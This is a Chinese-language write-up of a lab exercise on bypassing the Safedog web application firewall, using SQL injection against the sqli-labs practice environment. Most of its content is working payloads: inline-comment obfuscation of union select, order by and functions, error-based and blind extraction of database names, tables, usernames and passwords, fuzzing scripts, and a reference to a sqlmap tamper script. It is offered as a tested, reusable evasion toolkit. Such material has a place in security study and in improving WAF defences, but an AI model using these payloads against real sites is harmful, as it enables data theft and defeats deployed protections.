环境搭建
phpstudy2018—-使用系统服务运行
网站安全狗最新版V4.0(Apache版)—-关闭cc防护
sqli-labs-Less-1
联合注入
绕过and 1=1
输入'and 1=1--+'
、'and 1=2--+'
被拦截
可以使用%26%26
代替and,后面的条件使用true
和false
进行绕过
也可以直接绕过and和or:
1 | /*!11440OR*/ |
绕过order by
order by
查询字段
发现order by
被拦截
这里可以通过内联注释来绕过
这里使用脚本进行fuzz,先构造注释的语句/*!order/*!" + a + b + c + d + "*/by*/ 1
脚本
1 | import requests |
最终fuzz出很多可用的字符串
1 | http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**//**/by*/ 99--+ |
上面的字符全都可以绕过安全狗
绕过union select
同样使用上面的脚本进行fuzz,将exp和if语句判断的内容修改即可
1 | import requests |
可用字符串
1 | http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/**%0g*/select*/ 1,2,3--+ |
这里选择/*!union/*!/*/*!%0i*/select*/
来绕过
能绕过union select
的也能绕过order by
,可能是union select
防护的比较严
另一种payload:order/*!60000ghtwf01*/by
可以实现绕过,数字要大于50000
,union select
也可用其绕过
这时候发现database()也被拦截了
使用(database/**/())
绕过,也可以使用/*!database/*!/*/*!%0i*/()*/
来绕过
绕过schema_name
之后查询所有数据库名,使用schema_name
会被拦截,这里使用内联注释绕过
1 | ?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata),3--+ |
查询表名
1 | ?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20),3--+ |
table_name同样会被拦截,依然可以使用内联注释绕过
查询列名
1 | ?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_name=%27users%27%20),3--+ |
查数据
1 | ?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!id,username*/)%20from%20users%20),3--+ |
报错注入
绕过updatexml()
库名
当使用updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆数据库时被拦截
应该是updatexml()函数和database()函数被安全狗识别,使用上面fuzz的payload进行绕过/*!updatexml/*!/*/*!%0i*/(1,concat(0x7e,(database/**/()),0x7e),1)*/--+
表名
在进行爆表名的时候发现table_schema=''
后面不能接引号,所以采用十六进制绕过
1 | ?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables where table_schema=0x7365637572697479),0x7e),1)--+ |
并且根据报错要去掉updatexml外面的注释
列名
1 | ?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns where table_name=0x7573657273),0x7e),1)--+ |
查数据
1 | ?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!id,username,password*/)%20from%20users),0x7e),1)--+ |
盲注
布尔盲注
payload:
1 | #数据库名 |
时间盲注
使用if三段式判断
过滤了if()和sleep()
sleep()使用sleep/**/()
绕过
if()使用/*!if/*!/*/*!%0i*/()*/
绕过
payload:
1 | ?id=1'%26%26/*!if/*!/*/*!%0i*/(length(database/**/())=8,sleep/**/(5),1)*/--+ |
绕过安全狗的payload还有很多,几乎上面fuzz出来的字符串都可以用作下面的绕过
总结
有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:
1 | #针对两个关键字连用或者函数 |
以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。
最后附上tamper脚本:
1 | #!/usr/bin/env python |
参考文章: